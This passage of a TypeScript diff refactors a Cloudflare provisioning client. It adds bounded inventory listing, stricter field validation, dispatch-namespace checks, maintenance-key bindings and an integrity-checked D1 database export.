+          this.#inventoryProofClient.workers.domains.list({
+            account_id: this.#accountId,
+          }),
+          'custom domain inventory',
+        )) {
+          if (!readStringField(domain, 'service'))
+            throw new Error('custom domain inventory has an invalid service');
+          if (domain.service === scriptName) {
+            if (!readStringField(domain, 'hostname'))
+              throw new Error(
+                'custom domain inventory has an invalid hostname',
+              );
             routeHostnames.push(domain.hostname);
+          }
         }
         const zoneRoutes: import('./types.js').WorkerZoneRoute[] = [];
         const workerRouteZoneIds = await this.#workerRouteZoneIds();
         for (const zoneId of workerRouteZoneIds) {
-          for await (const route of this.#client.workers.routes.list({
-            zone_id: zoneId,
-          })) {
-            if (route.script !== scriptName) continue;
+          for await (const route of this.#collectBounded(
+            this.#inventoryProofClient.workers.routes.list({ zone_id: zoneId }),
+            'Worker zone-route inventory',
+          )) {
+            const script = readField(route, 'script');
+            if (
+              script !== undefined &&
+              script !== null &&
+              typeof script !== 'string'
+            )
+              throw new Error(
+                'Worker zone-route inventory has an invalid script',
+              );
+            if (script !== scriptName) continue;
+            if (
+              !readStringField(route, 'id') ||
+              !readStringField(route, 'pattern')
+            )
+              throw new Error(
+                'Worker zone-route inventory has an invalid ID or pattern',
+              );
             zoneRoutes.push({
               zoneId,
               routeId: route.id,
@@ -2329,8 +2274,8 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi {
           secretNames,
           plainTextBindings,
           providerBindingIdentities,
-          workersDevEnabled: subdomain.enabled === true,
-          previewUrlsEnabled: subdomain.previews_enabled === true,
+          workersDevEnabled: subdomain.enabled,
+          previewUrlsEnabled: subdomain.previews_enabled,
           routeHostnames,
           zoneRoutes,
         };
@@ -2351,11 +2296,16 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi {
       const listNames = async (): Promise<string[]> => {
         try {
           const names: string[] = [];
-          for await (const secret of this.#client.workers.scripts.secrets.list(
-            scriptName,
-            { account_id: this.#accountId },
+          for await (const secret of this.#collectBounded(
+            this.#inventoryProofClient.workers.scripts.secrets.list(
+              scriptName,
+              {
+                account_id: this.#accountId,
+              },
+            ),
+            'ordinary Worker secret inventory',
           )) {
-            if (!secret.name) {
+            if (!readStringField(secret, 'name')) {
               throw new Error(
                 `control Worker '${scriptName}' returned a secret without a name`,
               );
@@ -2401,10 +2351,17 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi {
       } catch (error) {
         if (!isNotFound(error)) throw error;
       }
-      for await (const domain of this.#client.workers.domains.list({
-        account_id: this.#accountId,
-      })) {
-        if (domain.service !== scriptName || !domain.id) continue;
+      for await (const domain of this.#collectBounded(
+        this.#inventoryProofClient.workers.domains.list({
+          account_id: this.#accountId,
+        }),
+        'custom domain inventory',
+      )) {
+        if (!readStringField(domain, 'service'))
+          throw new Error('custom domain inventory has an invalid service');
+        if (domain.service !== scriptName) continue;
+        if (!readStringField(domain, 'id'))
+          throw new Error('custom domain inventory has an invalid ID');
         try {
           await this.#client.workers.domains.delete(domain.id, {
             account_id: this.#accountId,
@@ -2414,10 +2371,22 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi {
         }
       }
       for (const zoneId of workerRouteZoneIds) {
-        for await (const route of this.#client.workers.routes.list({
-          zone_id: zoneId,
-        })) {
-          if (route.script !== scriptName) continue;
+        for await (const route of this.#collectBounded(
+          this.#inventoryProofClient.workers.routes.list({ zone_id: zoneId }),
+          'Worker zone-route inventory',
+        )) {
+          const script = readField(route, 'script');
+          if (
+            script !== undefined &&
+            script !== null &&
+            typeof script !== 'string'
+          )
+            throw new Error(
+              'Worker zone-route inventory has an invalid script',
+            );
+          if (script !== scriptName) continue;
+          if (!readStringField(route, 'id'))
+            throw new Error('Worker zone-route inventory has an invalid ID');
           try {
             await this.#client.workers.routes.delete(route.id, {
               zone_id: zoneId,
@@ -2434,93 +2403,27 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi {
     scriptName: string,
     fence: ExternalMutationFence,
   ): Promise<void> {
-    await this.withMutationFence(fence, () =>
-      this.#schedule(async () => {
-        try {
-          await this.#client.workers.scripts.subdomain.create(scriptName, {
-            account_id: this.#accountId,
-            enabled: false,
-            previews_enabled: false,
-          });
-        } catch (error) {
-          if (!isNotFound(error)) throw error;
-          return;
-        }
-        const subdomain = await (async () => {
-          try {
-            return await this.#client.workers.scripts.subdomain.get(
-              scriptName,
-              { account_id: this.#accountId },
-            );
-          } catch (error) {
-            if (!isNotFound(error)) throw error;
-            return undefined;
-          }
-        })();
-        if (!subdomain) return;
-        if (subdomain.enabled === true || subdomain.previews_enabled === true) {
-          throw new Error(
-            `ordinary Worker '${scriptName}' retains public subdomain ingress`,
-          );
-        }
-      }),
-    );
+    return disableOrdinaryWorkerPublicAccess(this.#ordinary, scriptName, fence);
   }
 
   async listCustomDomains(): Promise<
     readonly OrdinaryWorkerFootprint['customDomains'][number][]
   > {
-    return this.#schedule(async () => {
-      const domains: Array<OrdinaryWorkerFootprint['customDomains'][number]> =
-        [];
-      for await (const domain of this.#client.workers.domains.list({
-        account_id: this.#accountId,
-      })) {
-        if (!domain.id || !domain.hostname || !domain.service) {
-          throw new Error(
-            'Cloudflare returned incomplete custom-domain metadata',
-          );
-        }
-        domains.push({
-          id: domain.id,
-          hostname: domain.hostname,
-          service: domain.service,
-        });
-      }
-      return domains;
-    });
+    return listCustomDomains(this.#ordinary);
   }
 
   attachCustomDomain(
     target: { readonly hostname: string; readonly service: string },
     fence: ExternalMutationFence,
   ): Promise<void> {
-    return this.withMutationFence(fence, () =>
-      this.#schedule(async () => {
-        await this.#client.workers.domains.update({
-          account_id: this.#accountId,
-          hostname: target.hostname,
-          service: target.service,
-        });
-      }),
-    );
+    return attachCustomDomain(this.#ordinary, target, fence);
   }
 
   detachCustomDomain(
     domainId: string,
     fence: ExternalMutationFence,
   ): Promise<void> {
-    return this.withMutationFence(fence, () =>
-      this.#schedule(async () => {
-        try {
-          await this.#client.workers.domains.delete(domainId, {
-            account_id: this.#accountId,
-          });
-        } catch (error) {
-          if (!isNotFound(error)) throw error;
-        }
-      }),
-    );
+    return detachCustomDomain(this.#ordinary, domainId, fence);
   }
 
   async inspectActiveWorkerRoute(scriptName: string): Promise<
@@ -2530,101 +2433,13 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi {
       }>
     | undefined
   > {
-    return this.#schedule(async () => {
-      let deploymentList: Awaited<
-        ReturnType<CloudflareSdk['workers']['scripts']['deployments']['list']>
-      >;
-      try {
-        deploymentList = await this.#client.workers.scripts.deployments.list(
-          scriptName,
-          { account_id: this.#accountId },
-        );
-      } catch (error) {
-        if (isNotFound(error)) return undefined;
-        throw error;
-      }
-      const artifactVersion = attestedActiveVersionId(
-        deploymentList.deployments[0],
-        scriptName,
-      );
-      const version = await this.#client.workers.scripts.versions.get(
-        artifactVersion,
-        { account_id: this.#accountId, script_name: scriptName },
-      );
-      const specDigest = (version.resources.bindings ?? []).flatMap(
-        (binding) =>
-          binding.type === 'plain_text' && binding.name === 'FLEET_SPEC_DIGEST'
-            ? [binding.text]
-            : [],
-      )[0];
-      return {
-        artifactVersion,
-        specDigest: typeof specDigest === 'string' ? specDigest : undefined,
-      };
-    });
+    return inspectActiveWorkerRoute(this.#ordinary, scriptName);
   }
 
   async inspectOrdinaryWorkerFootprint(
     scriptName: string,
   ): Promise<OrdinaryWorkerFootprint> {
-    return this.#schedule(async () => {
-      let scriptPresent = false;
-      for await (const script of this.#client.workers.scripts.list({
-        account_id: this.#accountId,
-      })) {
-        if (script.id === scriptName) scriptPresent = true;
-      }
-      const customDomains: Array<{
-        id: string;
-        hostname: string;
-        service: string;
-      }> = [];
-      for await (const domain of this.#client.workers.domains.list({
-        account_id: this.#accountId,
-      })) {
-        if (domain.service !== scriptName) continue;
-        if (!domain.id || !domain.hostname) {
-          throw new Error(
-            `ordinary Worker '${scriptName}' has incomplete custom-domain metadata`,
-          );
-        }
-        customDomains.push({
-          id: domain.id,
-          hostname: domain.hostname,
-          service: domain.service,
-        });
-      }
-      const zoneRoutes: import('./types.js').WorkerZoneRoute[] = [];
-      for (const zoneId of await this.#workerRouteZoneIds()) {
-        for await (const route of this.#client.workers.routes.list({
-          zone_id: zoneId,
-        })) {
-          if (route.script !== scriptName) continue;
-          if (!route.id || !route.pattern) {
-            throw new Error(
-              `ordinary Worker '${scriptName}' has incomplete zone-route metadata`,
-            );
-          }
-          zoneRoutes.push({
-            zoneId,
-            routeId: route.id,
-            pattern: route.pattern,
-          });
-        }
-      }
-      const subdomain = scriptPresent
-        ? await this.#client.workers.scripts.subdomain.get(scriptName, {
-            account_id: this.#accountId,
-          })
-        : undefined;
-      return {
-        scriptPresent,
-        workersDevEnabled: subdomain?.enabled === true,
-        previewUrlsEnabled: subdomain?.previews_enabled === true,
-        customDomains,
-        zoneRoutes,
-      };
-    });
+    return inspectOrdinaryWorkerFootprint(this.#ordinary, scriptName);
   }
 
   async deleteControlWorker(scriptName: string): Promise<void> {
@@ -2646,9 +2461,10 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi {
   }): Promise<void> {
     await this.#schedule(async () => {
       const matches = [];
-      for await (const queue of this.#client.queues.list({
-        account_id: this.#accountId,
-      })) {
+      for await (const queue of this.#collectBounded(
+        this.#inventoryProofClient.queues.list({ account_id: this.#accountId }),
+        'queue inventory',
+      )) {
         if (queue.queue_name === options.queueName && queue.queue_id) {
           matches.push(queue);
         }
@@ -2661,9 +2477,12 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi {
       const queueId = matches[0]?.queue_id;
       if (!queueId) throw new Error('audit queue result has no queue_id');
       const consumers = [];
-      for await (const consumer of this.#client.queues.consumers.list(queueId, {
-        account_id: this.#accountId,
-      })) {
+      for await (const consumer of this.#collectBounded(
+        this.#inventoryProofClient.queues.consumers.list(queueId, {
+          account_id: this.#accountId,
+        }),
+        'queue consumer inventory',
+      )) {
         consumers.push(consumer);
       }
       if (consumers.length > 1) {
@@ -2711,9 +2530,12 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi {
         );
       }
       const finalConsumers = [];
-      for await (const consumer of this.#client.queues.consumers.list(queueId, {
-        account_id: this.#accountId,
-      })) {
+      for await (const consumer of this.#collectBounded(
+        this.#inventoryProofClient.queues.consumers.list(queueId, {
+          account_id: this.#accountId,
+        }),
+        'queue consumer inventory',
+      )) {
         finalConsumers.push(consumer);
       }
       if (
@@ -2730,10 +2552,13 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi {
 
   async createDatabase(name: string): Promise<DatabaseReference> {
     return this.#schedule(async () => {
-      const database = await this.#client.d1.database.create({
-        account_id: this.#accountId,
-        name,
-      });
+      const database = await this.#client.d1.database.create(
+        {
+          account_id: this.#accountId,
+          name,
+        },
+        { maxRetries: 0 },
+      );
       if (!database.uuid || database.name !== name) {
         throw new Error(
           `Cloudflare returned an invalid D1 create result for '${name}'`,
@@ -2751,15 +2576,22 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi {
     const params = d1RestParameters(bindings, 'D1 query');
     return this.#schedule(async () => {
       const rows: Readonly<Record<string, unknown>>[] = [];
-      for await (const result of this.#client.d1.database.query(databaseId, {
-        account_id: this.#accountId,
-        sql,
-        params,
-      })) {
+      for await (const result of this.#collectBounded(
+        this.#client.d1.database.query(
+          databaseId,
+          {
+            account_id: this.#accountId,
+            sql,
+            params,
+          },
+          { maxRetries: 0 },
+        ),
+        'D1 query result inventory',
+      )) {
         if (result.success === false) {
           throw new Error(`D1 query failed for database '${databaseId}'`);
         }
-        for (const row of result.results ?? []) {
+        for (const row of result.results === undefined ? [] : result.results) {
           if (row && typeof row === 'object') {
             rows.push(row as Readonly<Record<string, unknown>>);
           }
@@ -2781,10 +2613,17 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi {
       params: d1RestParameters(statement.bindings ?? [], 'D1 batch'),
     }));
     await this.#schedule(async () => {
-      for await (const result of this.#client.d1.database.query(databaseId, {
-        account_id: this.#accountId,
-        batch,
-      })) {
+      for await (const result of this.#collectBounded(
+        this.#client.d1.database.query(
+          databaseId,
+          {
+            account_id: this.#accountId,
+            batch,
+          },
+          { maxRetries: 0 },
+        ),
+        'D1 batch result inventory',
+      )) {
         if (result.success === false) {
           throw new Error(`D1 batch failed for database '${databaseId}'`);
         }
@@ -2798,10 +2637,27 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi {
     physicalScriptName = spec.scriptName,
     platformResources?: import('./types.js').ExternalPlatformResources,
     application?: import('./types.js').ApplicationBindingTopology,
+    maintenanceCapabilityPublicKey?: string,
   ): Promise<{ artifactVersion: string }> {
+    const dispatchNamespace = this.#requireDispatchNamespace(
+      'uploadDispatchWorker',
+    );
     if (spec.authoredBy === 'external' && !platformResources) {
       throw new Error('external dispatch upload requires platform resources');
     }
+    if (
+      maintenanceCapabilityPublicKey !== undefined &&
+      spec.authoredBy !== 'platform'
+    )
+      throw new Error(
+        'catalog maintenance enrollment requires a platform-authored Worker',
+      );
+    const catalogPublicKey =
+      maintenanceCapabilityPublicKey === undefined
+        ? undefined
+        : canonicalMaintenanceCapabilityPublicKey(
+            maintenanceCapabilityPublicKey,
+          );
     const bindings: Array<Record<string, unknown>> = [
       { name: 'DB', type: 'd1', database_id: database.id },
       { name: 'DEPLOYMENT_TENANT', type: 'plain_text', text: spec.tenantTag },
@@ -2816,7 +2672,7 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi {
         type: 'plain_text',
         text: deploymentSpecDigest(spec),
       },
-      ...(spec.authoredBy === 'external'
+      ...(spec.authoredBy === 'external' || catalogPublicKey !== undefined
         ? [
             {
               name: 'FLEET_MAINTENANCE_CAPABILITIES',
@@ -2825,6 +2681,25 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi {
             },
           ]
         : []),
+      ...(catalogPublicKey !== undefined
+        ? [
+            {
+              name: 'FLEET_MAINTENANCE_CAPABILITY_PUBLIC_KEY',
+              type: 'plain_text',
+              text: catalogPublicKey,
+            },
+            {
+              name: 'FLEET_DEPLOYMENT_SCRIPT',
+              type: 'plain_text',
+              text: physicalScriptName,
+            },
+            {
+              name: 'FLEET_RESOURCE_ROLE',
+              type: 'plain_text',
+              text: 'platform-catalog',
+            },
+          ]
+        : []),
       ...(spec.authoredBy === 'external' && spec.queueProducer
         ? [
             {
@@ -2917,39 +2792,43 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi {
     const migrations = dispatchMigrations(spec);
 
     return this.#schedule(async () => {
-      await this.#assertUntrustedDispatchNamespace();
+      await this.#assertUntrustedDispatchNamespace(dispatchNamespace);
+      const metadata = JSON.stringify({
+        bindings,
+        compatibility_date: spec.compatibilityDate,
+        compatibility_flags: spec.compatibilityFlags
+          ? [...spec.compatibilityFlags]
+          : undefined,
+        keep_bindings: ['secret_text'],
+        limits: {
+          cpu_ms: spec.cpuLimitMs,
+          subrequests: spec.subrequestLimit,
+        },
+        main_module: spec.mainModule,
+        migrations,
+        tags: [
+          FLEET_SCRIPT_TAG,
+          `tenant:${spec.tenantTag}`,
+          `environment:${spec.environment}`,
+          `schema:${spec.schemaVersion}`,
+          `spec:${deploymentSpecDigest(spec)}`,
+          ...(spec.durableObjectMigrations.at(-1)?.tag
+            ? [`do:${spec.durableObjectMigrations.at(-1)?.tag}`]
+            : []),
+        ],
+      });
       const result =
         await this.#client.workersForPlatforms.dispatch.namespaces.scripts.update(
           physicalScriptName,
           {
             account_id: this.#accountId,
-            dispatch_namespace: this.#dispatchNamespace,
+            dispatch_namespace: dispatchNamespace,
             bindings_inherit: 'strict',
-            files,
-            metadata: {
-              bindings: bindings as never,
-              compatibility_date: spec.compatibilityDate,
-              compatibility_flags: spec.compatibilityFlags
-                ? [...spec.compatibilityFlags]
-                : undefined,
-              keep_bindings: ['secret_text'],
-              limits: {
-                cpu_ms: spec.cpuLimitMs,
-                subrequests: spec.subrequestLimit,
-              },
-              main_module: spec.mainModule,
-              migrations,
-              tags: [
-                FLEET_SCRIPT_TAG,
-                `tenant:${spec.tenantTag}`,
-                `environment:${spec.environment}`,
-                `schema:${spec.schemaVersion}`,
-                `spec:${deploymentSpecDigest(spec)}`,
-                ...(spec.durableObjectMigrations.at(-1)?.tag
-                  ? [`do:${spec.durableObjectMigrations.at(-1)?.tag}`]
-                  : []),
-              ],
-            },
+            metadata: metadata as never,
+          },
+          {
+            body: namedWorkerUploadBody(files, metadata),
+            headers: { 'Content-Type': null },
           },
         );
       if (!result.etag) {
@@ -2971,6 +2850,9 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi {
     readonly sharedOutboundWorkerName: string;
     readonly stateEgressCredentialDigest: string;
   }): Promise<{ artifactVersion: string }> {
+    const dispatchNamespace = this.#requireDispatchNamespace(
+      'uploadNamespacedStateWorker',
+    );
     const { spec } = options;
     const scriptName = externalStateScriptName(spec);
     const resourceGroupId = externalPlatformResourceGroupId(spec);
@@ -3104,39 +2986,43 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi {
       compatibilityFlags: options.artifact.compatibilityFlags,
     };
     return this.#schedule(async () => {
-      await this.#assertUntrustedDispatchNamespace();
+      await this.#assertUntrustedDispatchNamespace(dispatchNamespace);
+      const metadata = JSON.stringify({
+        bindings,
+        compatibility_date: options.artifact.compatibilityDate,
+        compatibility_flags: options.artifact.compatibilityFlags
+          ? [...options.artifact.compatibilityFlags]
+          : undefined,
+        keep_bindings: ['secret_text'],
+        main_module: options.artifact.mainModule,
+        migrations: dispatchMigrations(stateSpec),
+        tags: [
+          FLEET_SCRIPT_TAG,
+          'role:platform-state',
+          `group:${resourceGroupId}`,
+          `tenant:${spec.tenantTag}`,
+          `environment:${spec.environment}`,
+          `schema:${spec.schemaVersion}`,
+          `spec:${deploymentSpecDigest(spec)}`,
+          ...(spec.durableObjectMigrations.at(-1)?.tag
+            ? [`do:${spec.durableObjectMigrations.at(-1)?.tag}`]
+            : []),
+          `artifact:${options.artifactDigest}`,
+          `state-egress:${options.stateEgressCredentialDigest}`,
+        ],
+      });
       const result =
         await this.#client.workersForPlatforms.dispatch.namespaces.scripts.update(
           scriptName,
           {
             account_id: this.#accountId,
-            dispatch_namespace: this.#dispatchNamespace,
+            dispatch_namespace: dispatchNamespace,
             bindings_inherit: 'strict',
-            files,
-            metadata: {
-              bindings: bindings as never,
-              compatibility_date: options.artifact.compatibilityDate,
-              compatibility_flags: options.artifact.compatibilityFlags
-                ? [...options.artifact.compatibilityFlags]
-                : undefined,
-              keep_bindings: ['secret_text'],
-              main_module: options.artifact.mainModule,
-              migrations: dispatchMigrations(stateSpec),
-              tags: [
-                FLEET_SCRIPT_TAG,
-                'role:platform-state',
-                `group:${resourceGroupId}`,
-                `tenant:${spec.tenantTag}`,
-                `environment:${spec.environment}`,
-                `schema:${spec.schemaVersion}`,
-                `spec:${deploymentSpecDigest(spec)}`,
-                ...(spec.durableObjectMigrations.at(-1)?.tag
-                  ? [`do:${spec.durableObjectMigrations.at(-1)?.tag}`]
-                  : []),
-                `artifact:${options.artifactDigest}`,
-                `state-egress:${options.stateEgressCredentialDigest}`,
-              ],
-            },
+            metadata: metadata as never,
+          },
+          {
+            body: namedWorkerUploadBody(files, metadata),
+            headers: { 'Content-Type': null },
           },
         );
       if (!result.etag) {
@@ -3156,16 +3042,22 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi {
       additionalSecrets?: Readonly<Record<string, string>>;
     }> = {},
   ): Promise<void> {
+    const dispatchNamespace =
+      this.#requireDispatchNamespace('putDispatchSecrets');
     await this.#schedule(async () => {
-      const scripts =
-        this.#client.workersForPlatforms.dispatch.namespaces.scripts;
       const listSecretNames = async (): Promise<string[]> => {
         const names: string[] = [];
-        for await (const secret of scripts.secrets.list(scriptName, {
-          account_id: this.#accountId,
-          dispatch_namespace: this.#dispatchNamespace,
-        })) {
-          if (!secret.name) {
+        for await (const secret of this.#collectBounded(
+          this.#inventoryProofClient.workersForPlatforms.dispatch.namespaces.scripts.secrets.list(
+            scriptName,
+            {
+              account_id: this.#accountId,
+              dispatch_namespace: dispatchNamespace,
+            },
+          ),
+          'dispatch Worker secret inventory',
+        )) {
+          if (!readStringField(secret, 'name')) {
             throw new Error(
               `dispatch Worker '${scriptName}' returned a secret without a name`,
             );
@@ -3187,7 +3079,7 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi {
         scriptName,
         {
           account_id: this.#accountId,
-          dispatch_namespace: this.#dispatchNamespace,
+          dispatch_namespace: dispatchNamespace,
           secrets: Object.fromEntries([
             ...Object.entries(desiredSecrets).map(
               ([name, text]) =>
@@ -3234,6 +3126,9 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi {
       }
     | undefined
   > {
+    const dispatchNamespace = this.#requireDispatchNamespace(
+      'inspectDispatchWorker',
+    );
     return this.#schedule(async () => {
       try {
         const scripts =
@@ -3241,14 +3136,15 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi {
         const [script, settings] = await Promise.all([
           scripts.get(scriptName, {
             account_id: this.#accountId,
-            dispatch_namespace: this.#dispatchNamespace,
+            dispatch_namespace: dispatchNamespace,
           }),
           scripts.settings.get(scriptName, {
             account_id: this.#accountId,
-            dispatch_namespace: this.#dispatchNamespace,
+            dispatch_namespace: dispatchNamespace,
           }),
         ]);
-        const bindings = settings.bindings ?? [];
+        const bindings =
+          settings.bindings === undefined ? [] : settings.bindings;
         const databaseIds = bindings.flatMap((binding) =>
           binding.type === 'd1' && binding.database_id
             ? [binding.database_id]
@@ -3385,31 +3281,33 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi {
         );
         return inspection;
       } catch (error) {
-        if (
-          error &&
-          typeof error === 'object' &&
-          'status' in error &&
-          error.status === 404
-        ) {
-          return undefined;
-        }
+        if (isNotFound(error)) return undefined;
         throw error;
       }
     });
   }
 
   async revokeDispatchSecrets(scriptName: string): Promise<void> {
+    const dispatchNamespace = this.#requireDispatchNamespace(
+      'revokeDispatchSecrets',
+    );
     await this.#schedule(async () => {
       const scripts =
         this.#client.workersForPlatforms.dispatch.namespaces.scripts;
       const listNames = async (): Promise<string[]> => {
         try {
           const names: string[] = [];
-          for await (const secret of scripts.secrets.list(scriptName, {
-            account_id: this.#accountId,
-            dispatch_namespace: this.#dispatchNamespace,
-          })) {
-            if (!secret.name) {
+          for await (const secret of this.#collectBounded(
+            this.#inventoryProofClient.workersForPlatforms.dispatch.namespaces.scripts.secrets.list(
+              scriptName,
+              {
+                account_id: this.#accountId,
+                dispatch_namespace: dispatchNamespace,
+              },
+            ),
+            'dispatch Worker secret inventory',
+          )) {
+            if (!readStringField(secret, 'name')) {
               throw new Error(
                 `dispatch Worker '${scriptName}' returned a secret without a name`,
               );
@@ -3427,7 +3325,7 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi {
         try {
           await scripts.secrets.bulkUpdate(scriptName, {
             account_id: this.#accountId,
-            dispatch_namespace: this.#dispatchNamespace,
+            dispatch_namespace: dispatchNamespace,
             secrets: Object.fromEntries(
               current.map((name) => [name, null] as const),
             ),
@@ -3445,13 +3343,16 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi {
   }
 
   async deleteDispatchWorker(scriptName: string): Promise<void> {
+    const dispatchNamespace = this.#requireDispatchNamespace(
+      'deleteDispatchWorker',
+    );
     await this.#schedule(async () => {
       try {
         await this.#client.workersForPlatforms.dispatch.namespaces.scripts.delete(
           scriptName,
           {
             account_id: this.#accountId,
-            dispatch_namespace: this.#dispatchNamespace,
+            dispatch_namespace: dispatchNamespace,
           },
         );
       } catch (error) {
@@ -3460,84 +3361,164 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi {
     });
   }
 
-  async exportDatabase(databaseId: string): Promise<DatabaseExport> {
-    if (!this.#exportStore) {
+  exportDatabase(databaseId: string): Promise<DatabaseExport> {
+    return this.#exportDatabase(databaseId);
+  }
+
+  #exportDatabaseReceipt(
+    identity: DatabaseExportReceiptIdentity,
+    receipt: Readonly<{
+      authority: string;
+      method: NonNullable<DurableDatabaseExportStore['writeReceipt']>;
+    }>,
+  ): Promise<DatabaseExport> {
+    const canonical = databaseExportReceiptIdentityFromUnknown(
+      identity,
+      receipt.authority,
+    );
+    return this.#exportDatabase(canonical.databaseId, {
+      identity: canonical,
+      method: receipt.method,
+    });
+  }
+
+  async #exportDatabase(
+    databaseId: string,
+    receipt?: Readonly<{
+      identity: DatabaseExportReceiptIdentity;
+      method: NonNullable<DurableDatabaseExportStore['writeReceipt']>;
+    }>,
+  ): Promise<DatabaseExport> {
+    const exportStore = this.#exportStore;
+    if (!exportStore) {
       throw new Error(
         'a durable exportStore is required before D1 can be exported for deletion',
       );
     }
     let bookmark: string | undefined;
-    for (let attempt = 0; attempt < 120; attempt += 1) {
-      const response = await this.#schedule(() =>
-        this.#client.d1.database.export(databaseId, {
-          account_id: this.#accountId,
-          output_format: 'polling',
-          current_bookmark: bookmark,
-        }),
-      );
-      if (response.status === 'error') {
-        throw new Error(
-          response.error ?? `D1 export failed for '${databaseId}'`,
-        );
-      }
-      if (response.status === 'complete' && response.result?.signed_url) {
-        const signedUrl = new URL(response.result.signed_url);
-        if (signedUrl.protocol !== 'https:') {
-          throw new Error('D1 export returned a non-HTTPS download URL');
-        }
-        const download = await this.#request(signedUrl, {
-          redirect: 'error',
-        });
-        if (!download.ok || !download.body) {
-          throw new Error(
-            `D1 export download failed with HTTP ${download.status}`,
-          );
-        }
-        const [storeBody, hashBody] = download.body.tee();
-        const contentLengthValue = download.headers.get('content-length');
-        const contentLength = contentLengthValue
-          ? Number(contentLengthValue)
-          : undefined;
-        const hasContentLength =
-          contentLength !== undefined &&
-          Number.isSafeInteger(contentLength) &&
-          contentLength >= 0;
-        const [stored, integrity] = await Promise.all([
-          this.#exportStore.write({
+    let pollCount = 0;
+    let providerStatusError = false;
+    let httpStatus: number | undefined;
+    let safeDetail: string | undefined;
+    const fail: (detail?: string) => never = (detail) => {
+      if (detail !== undefined) safeDetail = detail;
+      throw new Error('D1 export failed');
+    };
+    try {
+      for (let attempt = 0; attempt < 120; attempt += 1) {
+        pollCount += 1;
+        const response = await this.#schedule(() =>
+          this.#client.d1.database.export(
             databaseId,
-            fileName: `${databaseId}-${Date.now()}.sql`,
-            body: storeBody,
-            ...(hasContentLength ? { contentLength } : {}),
-          }),
-          hashExport(hashBody),
-        ]);
-        if (!stored.location || integrity.size === 0) {
-          throw new Error('durable D1 export is empty or has no location');
-        }
-        if (hasContentLength && integrity.size !== contentLength) {
-          throw new Error('durable D1 export size differs from the download');
+            {
+              account_id: this.#accountId,
+              output_format: 'polling',
+              current_bookmark: bookmark,
+            },
+            { maxRetries: 0 },
+          ),
+        );
+        if (response.status === 'error') {
+          providerStatusError = true;
+          fail();
+        }
+        if (response.status === 'complete' && response.result?.signed_url) {
+          const signedUrl = new URL(response.result.signed_url);
+          if (signedUrl.protocol !== 'https:') {
+            fail('export returned a non-HTTPS download URL');
+          }
+          // The signed download leaves the SDK's credentialed path: it carries
+          // no authorization header, and the provider chose its address.
+          const download = await this.#request(signedUrl, {
+            headers: { 'Accept-Encoding': 'identity' },
+          });
+          httpStatus = download.status;
+          if (!download.ok) {
+            cancelBodyWithoutAwait(download.body, 'D1 export download refused');
+            fail();
+          }
+          const downloadBody = download.body;
+          if (!downloadBody) fail();
+          const [storeBody, hashBody] = downloadBody.tee();
+          const contentLengthValue = download.headers.get('content-length');
+          const contentLength = contentLengthValue
+            ? Number(contentLengthValue)
+            : undefined;
+          const hasContentLength =
+            contentLength !== undefined &&
+            Number.isSafeInteger(contentLength) &&
+            contentLength >= 0;
+          let stored: Awaited<ReturnType<DurableDatabaseExportStore['write']>>;
+          let integrity: Awaited<ReturnType<typeof hashExport>>;
+          if (receipt) {
+            const integrityPromise = hashExport(hashBody);
+            void integrityPromise.catch(() => undefined);
+            const storedPromise = funnel(() =>
+              receipt.method({
+                identity: receipt.identity,
+                body: storeBody,
+                ...(hasContentLength ? { contentLength } : {}),
+                expectedIntegrity: integrityPromise,
+              }),
+            );
+            void storedPromise.catch((primary) =>
+              cancelBodyWithoutAwait(storeBody, primary),
+            );
+            stored = await storedPromise;
+            integrity = await integrityPromise;
+          } else {
+            const integrityPromise = hashExport(hashBody);
+            const storedPromise = funnel(() =>
+              exportStore.write({
+                databaseId,
+                fileName: `${databaseId}-${Date.now()}.sql`,
+                body: storeBody,
+                ...(hasContentLength ? { contentLength } : {}),
+              }),
+            );
+            void storedPromise.catch((primary) =>
+              cancelBodyWithoutAwait(storeBody, primary),
+            );
+            [stored, integrity] = await Promise.all([
+              storedPromise,
+              integrityPromise,
+            ]);
+          }
+          if (!stored.location || integrity.size === 0) {
+            fail('durable D1 export is empty or has no location');
+          }
+          if (hasContentLength && integrity.size !== contentLength) {
+            fail('durable D1 export size differs from the download');
+          }
+          if (
+            stored.size !== integrity.size ||
+            stored.sha256 !== integrity.sha256
+          ) {
+            fail(
+              'committed durable D1 export integrity differs from the download',
+            );
+          }
+          return { databaseId, location: stored.location, ...integrity };
         }
-        if (
-          stored.size !== integrity.size ||
-          stored.sha256 !== integrity.sha256
-        ) {
-          throw new Error(
-            'committed durable D1 export integrity differs from the download',
-          );
+        if (!response.at_bookmark) {
+          fail('export returned no polling bookmark');
         }
-        return { databaseId, location: stored.location, ...integrity };
-      }
-      if (!response.at_bookmark) {
-        throw new Error(
-          `D1 export for '${databaseId}' returned no polling bookmark`,
-        );
+        bookmark = response.at_bookmark;
+        await new Promise((resolve) => setTimeout(resolve, 1_000));
       }
-      bookmark = response.at_bookmark;
-      await new Promise((resolve) => setTimeout(resolve, 1_000));
+      fail('export did not complete within the poll budget');
+    } catch (error) {
+      if (receipt && isDatabaseExportReceiptError(error)) throw error;
